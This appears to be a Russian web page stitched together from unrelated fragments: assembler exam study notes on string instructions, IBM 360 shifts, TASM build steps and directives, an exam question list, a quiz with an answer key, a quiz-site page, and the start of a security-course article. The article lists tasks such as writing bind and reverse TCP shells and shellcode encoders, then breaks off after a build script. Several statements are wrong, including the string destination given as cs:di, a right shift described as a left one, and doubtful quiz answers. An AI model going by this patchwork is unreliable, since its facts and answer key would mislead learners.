Экзамен по ассемблеру

Микроконтро́ллер — микросхема,
предназначенная для
управления электронными устройствами.
Типичный микроконтроллер сочетает на
одном кристалле функции процессора и периферийных
устройств,
содержит ОЗУ и
(или) ПЗУ.
По сути, это однокристальный компьютер,
способный выполнять простые задачи.

Контроллер —
устройство управления в электронике и
вычислительной технике.

Компью́тер —
устройство или система, способное
выполнять заданную, чётко определённую
последовательность операций. Это чаще
всего операции численных расчётов и
манипулирования данными, однако сюда
относятся и операции ввода-вывода.
Описание последовательности операций
называется программой.

Электро́нная
вычисли́тельная маши́на
ЭВМ —
комплекс технических средств,
предназначенных для автоматической
обработки информации в процессе решения
вычислительных и информационных задач.

Строковые
команды.

Все команды
для работы со строками считают, что
строка источник находится по адресу в
паре регистров ds:esi, т.е. в сегменте памяти
указанного в ds со смещением в si, а строка
приемник cs:di или cs:edi. Все строковые
команды работают только с одним эл-том
строки: байтом, словом или 2-м словом за
один раз.

 movs пр,
ист  — копирование строки

movs b – копирует
один байт

movs w – копирует
1 слово

movs d – копирует
2ое слово.1

из
последовательности по адресу ds:si в cs:di
или ds:esi в cs:edi

при использовании
movs Assembler указывает параметры операндов.

с
mp s пр, ист.

cmp
sb

cmp
sw

cmp sd2

команды
сравнения.

lods ист.

lods
b

lods
w

lods
d3

команды
чтения из строки (байта, слова, 2сл).
Копируют байт, w, dw, из памяти по адресу
ds:si или ds:esi в регистр al, ax или eax

stos
пр

stos
b

stos
w

stos d4

запись
в строку. Копирует AL, AX или EAX в cs:di, cs:edi

ins
ист, dx

ins
b

ins
w

ins
d5

5 чтение
из порта I10, считывает из порта I10(номер
указан в dx) в память по адресу cs:di (cs:edi)

outs
dx, пр

outs
b

outs
w

outs d6

6 запись
строки в порт I10 из памяти по адресу
ds:si (ds:esi)

Побитовая
обработка

ЭВМ
Систем 360 и 370 ориентированы на работу
с байтами в том смысле, что минимальной
адресуемой единицей информации
является байт. Существуют также
машины, в которых допустима адресация
отдельных битов, однако это скорее
исключения.

В
данном разделе рассматриваются
возможности работы с отдельными
битами внутри байтов или более крупных
единиц информации. Эти возможности
обеспечиваются главным образом
существованием логических команд И,
ИЛИ и ИСКЛЮЧАЮЩЕЕ ИЛИ. После краткого
обзора символической логики, в которой
данные операции играют центральную
роль, мы рассмотрим машинные команды,
реализующие эти операции.

Команды
сдвига позволяют перемещать содержимое
регистров вправо или влево на некоторое
количество разрядов. С помощью этих
команд становится возможной организация
более компактной записи данных.
Команды сдвига позволяют также более
эффективно выполнять некоторые
арифметические операции.

Команды
арифметических и логических сдвигов

SLL
R1,D2(B2)

Shift
Left_Logical

Сдвиг
(R1) влево на D2 + (В2) двоичные позиции

SRL
R1,D2(B2)

Shift
Right Logical

Сдвиг
(R1) вправо на D2 + (В2) двоичные позиции

SLDL
R1,D2(B2)

Shift
Left Double Logical

Сдвиг
(R1,R1+1) влево на D2 + (В2) двоичные позиции

SRDL
R1,D2(B2)

Shift
Right Double Logical

Сдвиг
(R1,R1+1) влево на D2 + (В2) двоичные позиции

SLA
R1,D2(B2)

Shift
Left Arithmetic

Сдвиг
(R1) влево на D2 + (В2) двоичные позиции

SRA
R1,D2(B2)

Shift
Right Arithmetic

Сдвиг
(R1) вправо на D2 + (В2) двоичные позиции

SLDA
R1,D2(B2)

Shift
Left Double Arithmetic

Сдвиг
(R1,R1+1) влево на D2 + (В2) двоичные позиции

SRDA
R1,D2(B2)

Shift
Right Double Arithmetic

Сдвиг
(R1,R1+1) вправо на D2 + (В2) двоичные
позиции

АССЕМБЛЕР.
ЭТАПЫ РАЗРАБОТКИ ПРОГРАММЫ.
Язык
программирования наиболее полно
учитывающий особенности «родного»
микропроцессора и содержащий мнемонические
обозначения машинных команд называется
Ассемблером. Программа, написанная на
Ассемблере называется исходной
программой. Далее остановимся на версии,
называемой Турбо
Ассемблер.
Разработка
программы на Ассемблере состоит из
следующих этапов:

.
1) Составление алгоритма в виде блок-схемы
или структурного описания,

.
2) Ввод в ЭВМ текста исходной программы
PROG.ASM с помощью редактора текстов. Имя
PROG может быть произвольным, а расширение
ASM — обязательно,

.
3) Перевод (трансляция или ассемблирование)
исходной программы в машинные коды с
помощью транслятора TASM.EXE. На этом этапе
получается промежуточный продукт
PROG.OBJ (объектный код). Выявленные при
этом синтаксические и орфографические
ошибки исправляются повтором пп.2 и

3,

.
4) Преобразование с помощью программы
TLINK.EXE объектного кода

PROG.OBJ
в выполнимый код PROG.EXE или PROG.COM.

.
5) Выполнение программы и ее отладка
начиная с п.1, если встретились логические
ошибки.

[pic]
Текст
программы на Ассемблере содержит
следующие операции:

.
а) команды или инструкции,

.
б) директивы или псевдооператоры,

.
в) операторы,

.
г) предопределенные имена.
Действия
обусловленные операциями перечисленными
в пп.б,в,г выполняются на этапе трансляции,
т.е. являются командами Ассемблеру.
Операции, называемые командами или
инструкциями выполняются во время
выполнения программы, т.е. являются
командами микропроцессору.

Создание
программы на языке ассемблера

  1. Постановка
    задачи
     (точное
    и подробное описание функциональности
    будущей программы, а также описание
    всех входных и выходных данных и способа
    их передачи программе);

  2. Разработка
    алгоритма программы
     (построение
    блок схемы, граф-схемы или текстовое
    или математическое описание решения);

  3. Формализация
    алгоритма 
    (запись
    алгоритма на языке программирования).
    Создание
    текстового файла программы с
    расширением .asm (например my.asm).
    Отсутствие среды разработки позволяет
    программисту самостоятельно выбрать
    текстовый редактор для написания кода
    программы. Для этой цели подойдет любой
    текстовый редактор с нумерацией строк,
    мы рекомендуем редактор, встроенный в
    оболочку «FAR Manager».

  4. Компиляция
    программы
    ;
    Компиляция
    — процесс перевода программы из текстового
    вида в машинный код. При использовании
    компилятора фирмы Borland необходимо
    выполнить:
    tasm
    my.asm
    т.е.
    запускаем компилятор tasm и
    передаем с командной строки имя файла,
    содержащего программу. Если программа
    имеет синтаксические ошибки, компилятор
    выдаст сообщение об ошибке с указанием
    номера строки и описанием для каждой
    ошибки (нужно вернуться на этап №3 и
    исправить синтаксические ошибки).
    В
    случае успешной компиляции будет создан
    файл, содержащий объектный код
    программы my.obj,
    который ещё не является исполняемым
    модулем.

  5. Компоновка
    программы
    ;
    Компоновка
    — создание из файла объектного кода
    исполняемого модуля.
    tlink
    my.obj 
    В
    качестве параметра компоновщик tlink принимает
    имя файла содержащего объектный код
    программы (в нашем случае — my.obj).
    В случае успешной компоновки будет
    создан исполняемый модуль my.exe

  6. Запуск
    и тестирование
     исполняемого
    модуля программы. 
    На данном этапе
    необходимо проверить, соответствует
    ли написанная программа постановке
    задачи, сделанной нами на этапе №1.
    Неправильная работа программы говорит
    об алгоритмической ошибке (семантическая
    ошибка), поэтому для успешного её
    устранения нужно вернуться на этап
    разработки алгоритма (этап №2).

Язык
ассе́мблера
 (англ. assembly
language) —
машинно-ориентированный язык
низкого уровня с
командами, обычно соответствующими командам
машины,
который может обеспечить дополнительные
возможности вроде макрокоманд[1];
автокод, расширенный конструкциями языков
программирования высокого уровня,
такими как выражения, макрокоманды,
средства обеспечения модульности
программ[2]Автокод —
язык программирования, предложения
которого по своей структуре в основном
подобны командам и обрабатываемым
данным конкретного машинного
языка.[2]

Язык
ассемблера — система обозначений,
используемая для представления в
удобочитаемой форме программ, записанных
в машинном коде. Язык ассемблера позволяет
программисту пользоваться алфавитными
мнемоническими кодами операций, по
своему усмотрению присваивать
символические имена регистрам
ЭВМ и
памяти, а также задавать удобные для
себя схемыадресации (например,
индексную или косвенную). Кроме того,
он позволяет использовать различные
системы счисления
(например, десятичную или шестнадцатеричную)
для представления числовых констант и
даёт возможность помечать строки
программы метками с символическими
именами с тем, чтобы к ним можно было
обращаться (по именам, а не по адресам)
из других частей программы (например,
для передачи управления).[3]

Перевод
программы на языке ассемблера в
исполнимый машинный
код (вычисление
выражений, раскрытие макрокоманд, замена
мнемоник собственно машинными кодами
и символьных адресов
на абсолютные или относительные
адреса)
производитсяассемблером —
программой-транслятором, которая и дала
языку ассемблера его название.

 Директива
ASSUME
                           
——————
     Назначение
директивы ASSUME — установить для ассемблера 
связь  между
сегментами и сегментными
регистрами CS, DS, ES и SS. Формат директивы:

         
ASSUME    сегментный_регистр:имя  
[, … ]

    
В директиве указываются имена сегментных
регистров, групп  (GROUP)  и
выражений
SEG. Одна директива ASSUME может назначить
до четырех сегментных
регистров в
любой последовательности, например:

         
ASSUME   
CS:CODESG,DS:DATASG,SS:STACK,ES:DATASG

    
Для отмены любого ранее назначенного
в директиве  ASSUME  сегментного
регистра
необходимо использовать ключевое слово
NOTHING:

         
ASSUME    ES:NOTHING

    
Если, например, регистр DS оказался не
назначен или отменен  ключевым
словом
NOTHING, то для ссылки к элементу из 
сегмента  данных  в 
командах
используется операнд со
ссылкой к регистру DS:

         
MOV       AX,DS:[BX]    
;Использование индексного адреса
         
MOV       AX,DS:FLDW    
;Пересылка содержимого поля FLDW

    
Конечно, регистр DS должен содержать
правильное значение  сегментного
адреса.

                            
Директива EXTRN
                           
——————
     Назначение
директивы EXTRN — информировать ассемблер
о  переменных  и
метках, которые
определены в других модулях, но имеют 
ссылки  из  данного
модуля. Формат
директивы:

         
EXTRN     имя: тип [, … ]

Директива
EXTRN подробно рассмотрена в гл.21.

                            
Директива GROUP
                           
——————
     Программа
может  содержать  несколько 
сегментов  одного  типа 
(код,
данные, стек).  Назначение
директивы GROUP — собрать  однотипные 
сегменты
под одно имя так, чтобы они
поместились в один сегмент объемом 
64  Кбайт,
формат директивы:

              
имя     GROUP  имя сегмента 
[, … ]

    
Следующая директива GROUP объединяет SEG1
и SEG2 в одном ассемблерном
модуле:

              
GROUPX        
GROUP         
SEG1,SEG2
              
SEG1          
SEGMENT        PARA
‘CODE’
              
ASSUME        
CS:GROUPX
              
SEG1          
ENDS
              
SEG2          
SEGMENT        PARA
‘CODE’
              
ASSUME        
CS:GROUPX
              
SEG2           ENDS

                           
Директива INCLUDE
                          
——————-
     Отдельные 
фрагменты  ассемблерного  кода 
или  макрокоманды   
могут
использоваться  в  различных 
программах.  Для  этого  такие 
фрагменты  и
макрокоманды 
записываются  в  отдельные 
дисковые  файлы,  доступные 
для
использования  из  любых 
программ.    Пусть   
некоторая    подпрограмма,
преобразующая
ASCII-код в двоичное представление, записана
на  диске  С  в
файле по имени
CONVERT.LIB.  Для доступа к этому файлу
необходимо  указать
директиву

              
INCLUDE C:CONVERT.LIB

причем в том 
месте  исходной  программы, 
где  должна  быть 
закодирована
подпрограмма преобразования 
ASCII-кода.  В  результате  ассемблер 
найдет
необходимый файл на диске и
вставит его содержимое в  исходную 
программу.
(Если файл не будет найден,
то ассемблер выдаст соответствующее 
сообщение
об ошибке и директива INCLUDE
будет игнорирована.)
     Для
каждой вставленной строки ассемблер
выводит  в  LST-файл  в 
30-й
колонке символ С (исходный текст
в LST-файле начинается с 33-й колонки).
     
В гл.20 (Макрокоманды) дан практический
пример директивы  INCLUDE  и
дано
объяснение, каким образом можно
использовать эту директиву  только 
в
первом проходе ассемблера.

                            
Директива LABEL
                           
——————
     Директива
LABEL позволяет переопределять атрибут
определенного имени.
Формат директивы:

              
имя  LABEL     тип

В  качестве 
типа  можно  использовать  BYTE, 
WORD    или    DWORD   
для
переопределения областей данных 
или  имен  структур  или 
битовых  строк.
Директивой LABEL можно
переопределить выполнимый код, как 
NEAR  или  FAR.
Эта директива позволяет,
например, определить некоторое поле и
как  DB,  и
как DW. Ниже проиллюстрировано
использование типов BYTE и WORD:

              
REDEFB  LABEL  BYTE
              
FIELDW  DW     2532H
              
REDEFW  LABEL  WORD
              
FIELDB  DB     25H
                      
DB     32H
                      
MOV    AL,REDEFB     
;Пересылка первого байта
                      
MOV    BX,REDEFW     
;Пересылка двух байтов

    
Первая команда MOV пересылает только
первый байт поля FIELDW.  Вторая
команда
MOV пересылает два байта, начинающихся
по адресу FIELDB.  Оператор
PTR выполняет
аналогичные действия.

                             
Директива NAME
                            
—————-
     Директива NAME
обеспечивает другой способ назначения
имени модулю:

              
NAME  имя

Ассемблер
выбирает имя модуля в следующем порядке:

         
1) если директива NAME присутствует, то 
ее  операнд  становится
    
именем модуля;
         
2) если директива  NAME  отсутствует, 
то  ассемблер  использует
    
первые шесть символов из директивы
TITLE;
          3)
если обе директивы NAME и TITLE отсутствуют,
то именем модуля
     становится
имя исходного файла.

    
Выбранное имя передается ассемблером
в компоновщик.

                             
Директива ORG
                            
—————
     Для определения
относительной позиции  в  сегменте 
данных  или  кода
ассемблер 
использует  адресный  счетчик. 
Рассмотрим  сегмент  данных 
со
следующими определениями:

         
Смещение    Имя    
Операция     Операнд    
Адресный счетчик

            
00       FLDA     
DW         
2542H            
02
            
02       FLDB     
DB         
36H              
03
            
03       FLDC     
DW         
212EH            
05
            
05       FLDD     
DD         
00000705H         09

    
Начальное значение  адресного 
счетчика  —  00.  Так  как 
поле  FLDA
занимает два байта, то для
получения адреса следующего  элемента 
адресный
счетчик увеличивается до
значения 02. Поле FLDB занимает один байт,
значит
значение адресного счетчика
увеличивается  до  значения 
03  и  т.д..  Для
изменения значения
адресного счетчика и соответственно 
адреса  следующего
определяемого
элемента используется директива ORG.
Формат директивы:

              
OR6  выражение

Выражение
может быть абсолютным числом,  но 
не  символическим  именем, 
и
должно формировать двухбайтовое 
абсолютное  число.  Рассмотрим 
следующие
элементы данных, определенные
непосредственно после поля FLDD:

         
Смещение    Имя   Операция   
Операнд      Адресный счетчик

                             
ORG         
0               
00
            
00       FLDX   
DB          
?               
01
            
01       FLDY   
DW          
?               
02
            
03       FLDZ   
DB          
?               
04
                             
ORG         
$+5             
09

    
Первая директива ORG возвращает адресный
счетчик в нулевое  значение.
Поля
FLDX, FLDY и FLDZ определяют те же области
памяти, что и  поля  FLDA,
FLDB и FLDC:

           
Смещение:  | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8
|
                        
|       |   |      
|
                      
FLDA    FLDB FLDC  
FLDD
                        
|   |      
|
                      
FLDX FLDY    FLDZ

    
Операнд, содержащий символ доллара ($),
как во второй директиве  ORG,
имеет
текущее значение адресного  счетчика. 
Таким  образом,  операнд 
$+5
устанавливает адресный счетчик
равным 04 + 5 = 09, что представляет 
собой
то же значение, что и после
определения поля FLDD.
    
Метка FLDC указывает на поле длиной 
в  одно  слово,  находящееся 
по
смещению 03, а метка FLDZ  указывает 
на  однобайтовое  поле  по 
тому  же
смещению:

              
MOV    AX,FLOC       
;Одно слово
              
MOV    AL,FLDZ       
;Oдин байт

    
Директиву ORG можно использовать для
переопределения областей памяти.
При
этом следует правильно устанавливать
адресный счетчик и учитывать 
все
переопределяемые адреса памяти. 
Кроме того, новые  переменные  не 
должны
определять  константы, 
так  как  при  этом  будут 
перекрыты   константы,
определенные
ранее.  Директиву ORG нельзя использовать
внутри  определения
STRUCT.

                             
Директива PROC
                            
—————-
     Любая процедура
представляет собой совокупность 
кодов,  начинающуюся
директивой
PROC и завершающуюся  директивой 
ENDP.  Обычно  эти  директивы
используются
для  подпрограмм  в  кодовом 
сегменте.  Ассемблер  допускает
переход
на процедуру с помощью команды JMP, но
обычной практикой  является
использование
команды CALL для  вызова  процедуры 
и  RET  для  выхода  из
процедуры.
    
Процедура, находящаяся в  одном 
сегменте  с  вызывающей 
процедурой,
имеет тип NEAR:

              
имя-процедуры  PROC    [NEAR]

Если операнд
опущен, то ассемблер принимает значение 
NEAR  no  умолчанию.
Если процедура
является внешней по отношению к
вызывающему сегменту, то ее
вызов
может осуществляться только командой
CALL, а сама  процедура  должна
быть
объявлена  как  PUBLIC.  Более 
того,  если  в  вызываемой 
процедуре
используется другое значение
ASSUME CS, то необходимо  кодировать 
атрибут
FAR:

                             
PUBLIC  имя-процедуры,
              
имя-процедуры  PROC    FAR

    
При  вызове  любой  процедуры 
с  помощью  команды  CALL  
необходимо
обеспечить возврат по
команде RET.

                            
Директива PUBLIC
                           
——————
Назначение директивы PUBLIC
— информировать ассемблер,  что 
на  указанные
имена имеются ссылки
из других ассемблерных модулей. Формат
директивы:

              
PUBLIC имя [,…]

    
Директива PUBLIC подробно описана в гл.21.

                            
Директива RECORD
                           
——————
     Директива 
RECORD  позволяет  определять 
битовые  строки.  Одно  
из
назначений  этой  директивы 
—  определить  однобитовые  или 
многобитовые
переключатели. Формат
директивы:

              
имя RECORD имя-поля:ширина [=выражение] [,
… ]

Имя 
директивы  и  имена   полей   
могут    быть    любыми   
уникальными
идентификаторами. 
После каждого имени поля следует
двоеточие (:) и размер
поля в битах,
которое может быть от 1 до 16 бит:

              
Число определенных битов     
Принимаемый размер

                        
1…8                        
8
                        
9…16                      
16

    
Любой размер поля до 8 бит представляется
восемью битами, а от  9  до
16 бит
— представляется шестнадцатью 
битами,  выровненными  справа 
(если
необходимо). Рассмотрим следующую
директиву RECORD:

              
BITREC RECORD BIT1:3,BIT2:7,BIT3:6

Имя BIT1
определяет первые 3 бит поля BITREC, BIT2 — 
следующие  7  бит  и
BIT3 — последние
6 бит.  Общее число битов — 16, т.е. 
одно  слово.  Можно
инициализировать
поле BITREC, например, следующим образом:

         
BITREC2 RECORD
BIT1:3=101B,BIT2:7=0110110B,BIT3:011010B

    
Предположим, что директива RECORD находится
перед  сегментом  данных.
Тогда
внутри сегмента данных должен быть
другой оператор, который  отводит
память
под данные.  Для этого необходимо
определить  уникальное  имя, 
имя
директивы RECORD и операнд, состоящий
из угловых скобок (символы меньше 
и
больше):

              
DEFBITS BITREC <>

Данное
определение генерирует объектный код
AD9A. который записывается как
9AAD в
сегмент  данных.  В  угловых 
скобках  может  находиться 
значение,
переопределяющее BITREC.
    
Программа на  рис.24.1  иллюстрирует 
определение  BITREC  директивой
RECORD, 
но без начальных значений. В этом случае
соответствующий оператор
в сегменте
данных инициализирует каждое поле
операндом в угловых скобках.
    
Дополнительно к директиве RECORD 
имеются  операторы  WIDTH,  MASK 
и
фактор  сдвига.  Использование 
этих   операторов   
позволяет    изменять
определение
директивы RECORD без изменения команд,
которые имеют ссылки на
директиву
RECORD.

    
О п е р а т о р  WIDTH.  Оператор 
WIDTH  возвращает  число  битов 
в
директиве RECORD или в одном из ее
полей.  На  рис.24.1  после 
метки  А10
имеется два примера 
оператора  WIDTH.  Первая  команда 
MOV  загружает  в
регистр BH число
битов во всем поле RECORD BITREC (16 бит); вторая
команда
MOV загружает в регистр AL число
битов  в  поле  BIT2  (7  бит). 
В  обоих
случаях ассемблер генерирует
для числа битов непосредственный
операнд.

    
Ф а к т о р  с д в и г а. Прямая ссылка
на элемент в RECORD,например:

              
MOV    CL,BIT2

в действительности
не имеет отношения к  содержимому 
BIT2.  Вместо  этого
ассемблер
генерирует непосредственный операнд, 
который  содержит  «фактор
сдвига», 
помогающий  изолировать  необходимое  
поле.    Непосредственное
значение
представляет собой число, на которое
необходимо сдвинуть BIT2 для
выравнивания
справа.  На рис.24.1 после метки  В10 
имеются  три  команды,
которые
загружают в регистр CL фактор сдвига для
полей BIT1, BIT2 и BITЗ.

    
О п е р а т о р  MASK.  Оператор MASK
возвращает «маску» из единичных
битовых 
значений,  которые  представляют 
специфицированное  поле, 
иными
словами, определяют битовые 
позиции,  которые  занимает 
поле.  Например,
оператор MASK  для 
каждого  из  полей,  определенных 
в  области  BITREC,
возвращает
следующие значения:

              
Поле      Двоичное значение  
Шестнадцатиричное значение

              
В1Т1      1110000000000000             
Е000
              
В1Т2      0001111111000000             
1FC0
              
В1ТЗ      0000000000111111             
003F

    
На рис.24.1 три команды после метки С10
загружают в регистры значения
оператора
MASK для полей BIT1, BIT2 и BITЗ.  Команды
после меток D10 и Е10
иллюстрируют
выделение  значений  полей 
BIТ2  и  BIТ1  соответственно 
из
области BITREC.  После метки D10 в
регистр  АХ  загружается  все 
значение
области, определенной
директивой RECORD,  а  затем  из 
этого  значения  с
помощью
оператора MASK выделяются только биты
поля BIТ2:

              
Область RECORD:     101 0110110
011010
              
AND MASK BIТ2:      000 1111111
000000
              
Результат:         
000 0110110 000000

    
В результате сбрасываются все биты,
кроме принадлежащих к полю 
BIТ2.
Следующие две команды приводят к
сдвигу содержимого регистра АХ  на 
шесть
битов для выравнивания справа:

              
0000000000110110       (0036Н)

    
После метки Е10  в  регистр  AХ 
загружается  все  значение 
области,
определенной директивой
RECORD, и так как BIТ1 является самым левым
полем,
то в примере используется только
фактор для сдвига значения вправо 
на  13
бит:

              
0000000000000101       (0005Н)

                           
Директива SEGMENT
                          
——————-
     Ассемблерный
модуль может состоять из  одного 
или  более  сегментов,
части
сегмента или даже частей нескольких
сегментов. Формат директивы:

         
имя_сегмента SEGMENT [выравнивание] 
[объединение] [класс]
                          
.
                          
.
                          
.
         
имя_сегмента   ENDS

Все 
операнды  являются  необязательными. 
Ниже  описаны   операнды   
для
выравнивания, объединения и
указания класса.

    
В ы р а в н и в а н и е.  Операнд
выравнивания  определяет 
начальную
границу сегмента, например

              
PAGE   = xxx00
              
PARA   = хххх0 (граница по
умолчанию)
              
WORD   = ххххe (четная граница)
              
BYTE   = ххххх

где х — любая
шестнадцатиричная цифра,
   
е — четная шестнадцатиричная цифра.

    
О б ъ е д и н е н и е. Операнд объединения
указывает способ обработки
сегмента,
при компоновке:

    
NONE: Значение по умолчанию. Сегмент должен
быть логически отделен от
    
других  сегментов,  хотя 
физически   он    может   
быть    смежным.
    
Предполагается, что сегмент имеет
собственный базовый адрес;

    
PUBLIC: Все PUBLIC  —  сегменты,  имеющие 
одинаковое  имя  и  класс,
    
загружаются компоновщиком в смежные
области. Все такие сегменты имеют
    
один общий базовый адрес;

    
STACK: Для компоновщика операнд STACK
аналогичен операнду  PUBLIC.  В
    
любой компонуемой программе должен
быть  определен  по  крайней 
мере
     один сегмент STACK. 
Если объявлено более одного стека, 
то  стековый
     указатель
(SP) устанавливается на начало первого
стека;

    
COMMON:  Для  сегментов  COMMON  с 
одинаковыми  именами  и 
классами
     компоновщик
устанавливает один общий базовый 
адрес.  При  выполнении
    
происходит наложение второго сегмента
на первый. Размер общей области
    
определяется самым длинным сегментом;

    
AT-параграф: Параграф должен быть 
определен  предварительно. 
Данный
     операнд обеспечивает
определение меток и переменных по 
фиксированным
     адресам
в фиксированных областях памяти, таких,
как ROM  или  таблица
    
векторов  прерываний  в  младших 
адресах  памяти.   Например,   
для
     определения адреса
дисплейного видеобуфера используется

              
VIDEO_RAM      SEGMENT AT 0B800H

    
Класс:  Операнд  класс  может 
содержать  любое    правильное   
имя,
     заключенное  в 
одиночные  кавычки.  Данный  
операнд    используется
    
компоновщиком для обработки сегментов, 
имеющих  одинаковые  имена 
и
     классы. Типичными
примерами являются классы ‘STACK’ и ‘CODE’.

    
Следующие два сегмента объединяются
компоновщиком в  один  физический
сегмент
при одном значении сегментного регистра:

                        
———————————
         
Ассемблерный   SEG1
SEGMENT   PARA PUBLIC ‘CODE’
         
модуль 1             
ASSUME  CS:SEG1
                               

                        
SEG1   ENDS
                        
———————————
         
Ассемблерный   SEG2
SEGMENT   PARA PUBLIC ‘CODE’
         
модуль 2             
ASSUME  CS:SEG1
                               

                        
SEG2   ENDS
                        
———————————

Соседние файлы в папке ассемблер

  • #
  • #
  • #
  • #
  • #

    12.03.201594.72 Кб24Рисунок1.vsd

  • #

Главная Ассемблер

»

Файлы

» Методички »

Ассемблер

[ Добавить материал ]


Вопросы для подготовки к экзамену по предмету «Язык ассемблера» (2009 год)

Вопросы по дисциплине «Машинно-ориентированные языки»

  1. Архитектура микропроцессора Intel семейства 8086/8088. Регистры , сегментация, методы адресации.
  2. Ассемблер IBM РС. Набор символов языка, целые и вещественные типы, символические и строковые константы. зарезервированные слова и идентификаторы. Структура ассемблерного оператора.
  3. Инструментальные средства программирования. Редактор, транслятор, компоновщик, библиотекарь, отладчик.
  4. Основные директивы ассемблера.
  5. Арифметические команды.
  6. Команды пересылки и преобразования данных.
  7. Команды десятичной арифметики.
  8. Манипулирование битами (логические побитовые, сдвиговые и битовые команды)
  9. Цепочные команды. Особенности адресации.
  10. Инструкции передачи управления (условные и безусловные переходы, вызов процедур и прерываний)
  11. Команды управления процессором
  12. Команды поддержки языка высокого уровня. Механизм работы.
  13. Понятие стека. Назначение. Механизм работы со стеком.
  14. Кадр данных процедуры. Входи выход из процедуры. Передача аргументов в процедуру. Возврат результата и выделение автоматических переменных.
  15. Связь ассем6лера с языками высокого уровня. Модели памяти. Различные соглашения. Упрощенные директивы.
  16. Организация, адресация и использование массивов данных.
  17. Организация циклов.
  18. Организация ветвлений.
  19. Макросы и процедуры. Особенности директив повторения. Условные директивы.
  20. Механизм работы прерываний. Понятия вектор прерывания, системные и пользовательские прерывания. Их назначение. Схема обработки прерывания. Аппаратные и программные прерывания. Маскируемые и немаскируемые прерывания.
  21. Ввод и вывод информации. Прерывания BIOS, DOS. Назначение и классификация прерываний.
  22. Развитые структуры данных (структуры, битовые записи, объединения). Директивы и механизм работы. Использование структур в программах.
  23. Понятие резидентной программы, её назначение. Связь обработки прерываний и резидентных программ. Схемы организации обработки прерываний. Сложности взаимодействия резидентных программ с DOS прерываниями.
  24. Кодировка команд. Понятие префикса, кода команды, байтов ModRM и SIB.
  25. Понятия защищенного режима, виртуальной памяти, селектора, таблицы локальных и глобальны дескрипторов. Особенности программирования в защищенном режиме.




Добавил: COBA (18.04.2010) | Категория: Ассемблер

Просмотров: 4475 | Загрузок: 1
| Рейтинг: 5.0/1 |

Теги: Вопросы, ассемблер, экзамен

Тест по дисциплине: «Язык
ассемблера»

1.Из нижеперечисленных ПО выберите те
ПО, которые относятся к системным ПО.

А) Транслятор

Б) Файловые менеджеры

В) Языки программирования

Г) Архиваторы

Ответ: А, Б

2.Из нижеперечисленных определений
выберите определения регистра данных.

А) Используются для организации
циклических участков в программах.

Б) Используются во время внутренних
пересылок информации при выполнении команд.

В) Используется для временного хранения
промежуточных результатов при выполнении операции.

Г) Используется для любых целей.

Ответ: В.

3.Из нижеперечисленных выберите
состав процессора.

А) Устройство ввода.

Б) Устройство управления.

В) Регистры памяти.

Г) Регистры указателя стека.

Ответ: Б, В.

4.Постоянная память, т.е. BIOS
– это…

А) ROM

Б) RAM

В) Cash

Ответ: А

5.Дана таблица. Необходимо вписать
примеры прикладного ПО общего и специализированного назначения.

ПО общего назначения

ПО специализированного назначения

Ответ: ПО общего назначения:
текстовый редактор, графический редактор, таблицы и другие. ПО
специализированного назначения: игры, 1С:Бухгалтерия и другие.

6.Дополните предложение. Команда RET
– отвечает за….

А) системную функцию DOS

Б) возвращение процедуры END

В) модель памяти

Г) сегмент кода в программе

Ответ: Б

7.Из нижеперечисленных внутренних
типов данных выберите беззнаковые типы данных.

А) byte

Б) s.word

В) s.byte

Г) d.word

Ответ: А, Г

8.С помощью какой директивы ПО
выделяет память для хранения 32 разрядных целочисленных значений?

А) EQU

Б) SDWORD

В) BYTE

Г) TEXTEQU

Ответ: Б

9.Какой числовой промежуток имеют
видимые символы?

А) 128…255

Б) 32…126

В) 0…31,127

Г) -128… 255

Ответ: Б

10.Как называется кодировка,
предусмотренная для иероглифов?

А)CP-1251

Б)ISO
В)
ASCII

Г)UNICODE

Лучше молчать и слыть идиотом, чем заговорить и развеять все сомнения.

  • Каталог тестов
  • Отправить отзыв
  • Вход в систему
  • Главная
  • /
  • Каталог тестов
  • /
  • Профессиональные тесты
  • /
  • IT и сетевые технологии
  • /
  • Программирование

Предлагаемый Вашему вниманию тест «Программирование на Assembler» создан на основе одноименной базы знаний, состоящей из 122 вопросов по темам

  • Аппаратные прерывания.
  • Защищенный режим.
  • Команды процессора.
  • Микропроцессорная архитектура IBM PC.
  • Регистры и флаги микропроцессора 80×86.
  • Синтаксис языка.
  • Системные вызовы и структуры.
  • Техника программирования.

В данном тесте будет задано 40 вопросов. Для успешного прохождения теста необходимо правильно ответить на 28 вопросов.

После ответа на каждый вопрос сразу будет отображаться правильный ответ, поэтому в этом режиме сделанный ответ исправить будет нельзя.

идет загрузка вопросов теста, пожалуйста подождите…

Просьба от разработчиков поделиться ссылкой. Спасибо!

Хотите встроить тест «Программирование на Assembler» в свой сайт?

Или провести тестирование?

Индекс

Список вопросов базы знаний

Copyright testserver.pro 2013-2021

image

Security Linux Assembly Expert — онлайн-курс и экзамен по основам 32-битного языка ассемблера процессоров семейства Intel в Linux-системах в контексте информационной безопасности. Курс будет полезен пентестерам, инженерам по информационной безопасности и всем, кто желает разобраться в основах ассемблера и научиться писать простые шеллкоды. После прохождения курса вы научитесь пользоваться основными системными вызовами Linux’a, писать простые шеллкоды, начнете понимать базовые принципы работы операционной системы на уровне ядра. В данной статье будут рассмотрены задания, необходимые для прохождения экзамена по этому курсу.

По условиям экзамена необходимо выполнить 7 заданий:

  1. Написать TCP Bind Shell
  2. Написать Reverse TCP Shell
  3. Разобраться с техникой egghunter и предоставить пример этой техники
  4. Написать кодировщик кода
  5. Проанализировать 3 шеллкода, сгенерированных msfvenom’ом при помощи GDB/ndisasm/libemu
  6. Выполнить полиморфное преобразование 3 любых шеллкодов и shellstorm’а.
  7. Написать шифровальщик кода

Каждое из заданий необходимо прокомментировать, также желательно предоставить скриншоты процесса работы над ними. Начнем с подготовки.

Подготовка

Автоматизация — наше всё, поэтому прежде чем перейти к заданиям, необходимо описать скрипты, используемые при освоении курса и сдаче экзамена. Они помогут сэкономить время и силы.

nasm32.sh

#!/bin/bash

if [ -z $1 ]; then
  echo "Usage ./nasm32 <nasmMainFile> (no extension)"
  exit
fi

if [ ! -e "$1.asm" ]; then
  echo "Error, $1.asm not found."
  echo "Note, do not enter file extensions"
  exit
fi

nasm -f elf $1.asm -o $1.o
ld -m elf_i386 -o $1 $1.o

Этот скрипт используется для быстрой компиляции и линковки .asm файлов.

popcode.sh

#!/bin/bash

target=$1

